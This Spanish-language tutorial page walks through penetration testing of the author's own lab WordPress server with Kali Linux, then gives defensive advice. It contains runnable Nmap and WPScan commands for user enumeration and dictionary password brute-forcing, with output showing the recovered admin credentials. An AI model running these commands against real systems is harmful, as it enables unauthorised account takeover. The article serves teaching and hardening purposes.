GNU/Linux >> Tutoriales Linux >  >> Linux

Pen testing con herramientas de seguridad de Linux

La multitud de infracciones bien publicitadas de grandes corporaciones de consumidores subraya la importancia crítica de la gestión de la seguridad del sistema. Afortunadamente, existen muchas aplicaciones diferentes que ayudan a proteger los sistemas informáticos. Una es Kali, una distribución de Linux desarrollada para pruebas de seguridad y penetración. Este artículo demuestra cómo usar Kali Linux para investigar su sistema y encontrar debilidades.

Kali instala muchas herramientas, todas ellas de código abierto, y tenerlas instaladas de forma predeterminada facilita las cosas.

Los sistemas que usaré en este tutorial son:

  1. kali.usersys.redhat.com :Este es el sistema donde lanzaré los escaneos y ataques. Tiene 30 GB de memoria y seis CPU virtualizadas (vCPU).
  2. vulnerable.usersys.redhat.com :Este es un sistema Red Hat Enterprise Linux 8 que será el objetivo. Tiene 16 GB de memoria y seis vCPU. Este es un sistema relativamente actualizado, pero algunos paquetes pueden estar desactualizados.
  3. Este sistema también incluye httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 , mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64 , tigervnc-server-1.9.0-15.el8_1.x86_64 , vsftpd-3.0.3-32.el8.x86_64 y WordPress versión 5.6.1.

Incluí las especificaciones de hardware anteriores porque algunas de estas tareas son bastante exigentes, especialmente para la CPU del sistema de destino cuando se ejecuta el Escáner de seguridad de WordPress (WPScan).

Investigar su sistema

Comencé mi investigación con un análisis básico de Nmap en mi sistema de destino. (Puede profundizar más en Nmap leyendo Uso de los resultados de Nmap para ayudar a fortalecer los sistemas Linux). Un escaneo de Nmap es una forma rápida de obtener una descripción general de qué puertos y servicios son visibles desde el sistema que inicia el escaneo de Nmap.

Este escaneo predeterminado muestra que hay varios puertos abiertos posiblemente interesantes. En realidad, cualquier puerto abierto posiblemente sea interesante porque podría ser una forma de que un atacante vulnere su red. En este ejemplo, los puertos 21, 22, 80 y 443 son buenos para escanear porque son servicios de uso común. En esta etapa inicial, simplemente estoy haciendo un trabajo de reconocimiento y tratando de obtener la mayor cantidad de información posible sobre el sistema de destino.

Quiero investigar el puerto 80 con Nmap, así que uso el -p 80 argumento para mirar el puerto 80 y -A para obtener información como el sistema operativo y la versión de la aplicación.

Algunas de las líneas clave en este resultado son:

PORT   STATE SERVICE VERSION
80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1

Ya que ahora sé que este es un servidor de WordPress, puedo usar WPScan para obtener información sobre posibles debilidades. Una buena investigación para realizar es tratar de encontrar algunos nombres de usuario. Usando --enumerate u le dice a WPScan que busque usuarios en la instancia de WordPress. Por ejemplo:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021

Interesting Finding(s):
...
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] pgervase
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Esto muestra que hay dos usuarios:admin y pgervase . Intentaré adivinar la contraseña de admin mediante el uso de un diccionario de contraseñas, que es un archivo de texto con muchas contraseñas posibles. El diccionario que usé era 37G y tenía 3 543 076 137 líneas.

Al igual que existen múltiples editores de texto, navegadores web y otras aplicaciones entre las que puede elegir, existen múltiples herramientas disponibles para lanzar ataques de contraseña. Aquí hay dos comandos de ejemplo que usan Nmap y WPScan:

# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

Este script de Nmap es uno de los muchos scripts posibles que podría haber usado, y escanear la URL con WPScan es solo una de las muchas tareas posibles que puede realizar esta herramienta. Puedes decidir cuál prefieres usar

Este ejemplo de WPScan muestra la contraseña al final del archivo:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <=========================================================                                                         > (3231 / 6462) 50.00%  ETA: ??:??:??
[SUCCESS] - admin / redhat                                                                                                                                                                      

[!] Valid Combinations Found:
 | Username: admin, Password: redhat

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02

La sección Combinaciones válidas encontradas cerca del final contiene el nombre de usuario y la contraseña del administrador. Solo tomó dos minutos pasar por 3231 líneas.

Tengo otro archivo de diccionario con 3 238 659 984 entradas únicas, lo que llevaría mucho más tiempo y dejaría mucha más evidencia.

Usar Nmap produce un resultado mucho más rápido:

┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
|   Accounts:
|       admin:redhat - Valid credentials              <<<<<<<
|       pgervase:redhat - Valid credentials         <<<<<<<
|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version     port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|_  100000  3,4         111/udp6  rpcbind
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

Sin embargo, ejecutar un análisis como este puede dejar una avalancha de mensajes de registro HTTPD en el sistema de destino:

10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"

Para obtener información sobre el servidor HTTPS encontrado en mi exploración Nmap inicial, utilicé sslscan comando:

┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:
SSLv2   disabled
SSLv3   disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   enabled
TLSv1.3   enabled
<snip>

Esto muestra información sobre los protocolos SSL habilitados y, más abajo en la salida, información sobre la vulnerabilidad Heartbleed:

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Consejos para prevenir o mitigar atacantes

Más recursos de Linux

  • Hoja de trucos de los comandos de Linux
  • Hoja de trucos de comandos avanzados de Linux
  • Curso en línea gratuito:Descripción general técnica de RHEL
  • Hoja de trucos de red de Linux
  • Hoja de trucos de SELinux
  • Hoja de trucos de los comandos comunes de Linux
  • ¿Qué son los contenedores de Linux?
  • Nuestros últimos artículos sobre Linux

Hay muchas formas de defender sus sistemas contra la multitud de atacantes que existen. Algunos puntos clave son:

  • Conozca sus sistemas: Esto incluye saber qué puertos están abiertos, qué puertos deberían estar abiertos, quién debería poder ver esos puertos abiertos y cuál es el tráfico esperado en esos servicios. Nmap es una gran herramienta para aprender sobre los sistemas en la red.
  • Use las mejores prácticas actuales: Lo que se considera una mejor práctica hoy podría no ser una mejor práctica en el futuro. Como administrador, es importante mantenerse actualizado sobre las tendencias en el ámbito de la seguridad de la información.
  • Sepa cómo usar sus productos: Por ejemplo, en lugar de permitir que un atacante golpee continuamente su sistema de WordPress, bloquee su dirección IP y limite la cantidad de veces que pueden intentar iniciar sesión antes de ser bloqueados. Bloquear la dirección IP puede no ser tan útil en el mundo real porque es probable que los atacantes usen sistemas comprometidos para lanzar ataques. Sin embargo, es una configuración fácil de habilitar y podría bloquear algunos ataques.
  • Mantenga y verifique buenas copias de seguridad: Si un atacante comprende uno o más de sus sistemas, poder reconstruir a partir de copias de seguridad limpias y en buen estado podría ahorrar mucho tiempo y dinero.
  • Revise sus registros: Como muestran los ejemplos anteriores, los comandos de exploración y penetración pueden dejar muchos registros que indican que un atacante está apuntando al sistema. Si los detecta, puede tomar medidas preventivas para mitigar el riesgo.
  • Actualice sus sistemas, sus aplicaciones y cualquier módulo adicional: Como explica la Publicación especial 800-40r3 del NIST, "los parches suelen ser la forma más efectiva de mitigar las vulnerabilidades de fallas de software y, a menudo, son la única solución completamente efectiva".
  • Use las herramientas que proporcionan sus proveedores: Los proveedores tienen diferentes herramientas para ayudarlo a mantener sus sistemas, así que asegúrese de aprovecharlas. Por ejemplo, Red Hat Insights, incluido con las suscripciones de Red Hat Enterprise Linux, puede ayudarlo a ajustar sus sistemas y alertarlo sobre posibles amenazas a la seguridad.

Más información

Esta introducción a las herramientas de seguridad y cómo usarlas es solo la punta del iceberg. Para profundizar más, es posible que desee consultar los siguientes recursos:

  • Armitage, una herramienta de gestión de ataques de código abierto
  • Centro de seguridad de productos de Red Hat
  • Canal de seguridad de Red Hat
  • Página de ciberseguridad del NIST
  • Uso de los resultados de Nmap para ayudar a fortalecer los sistemas Linux

Linux
  1. Supervise su sistema Linux en su terminal con procps-ng

  2. Distribuciones populares de Linux para pruebas de seguridad

  3. Sobrevivir a una auditoría de seguridad con Enterprise Linux

  4. Seguridad Linux:Proteja sus sistemas con fail2ban

  5. Herramientas de overclocking en Linux

Aprenda LVM en Linux con herramientas gráficas

Cómo auditar un sistema Linux remoto con Lynis Security Tool

Auditoría de seguridad de Linux con Lynis

Comando Uptime de Linux con ejemplos

Primeros pasos con el sistema operativo Linux

Auditoría de seguridad con Lynis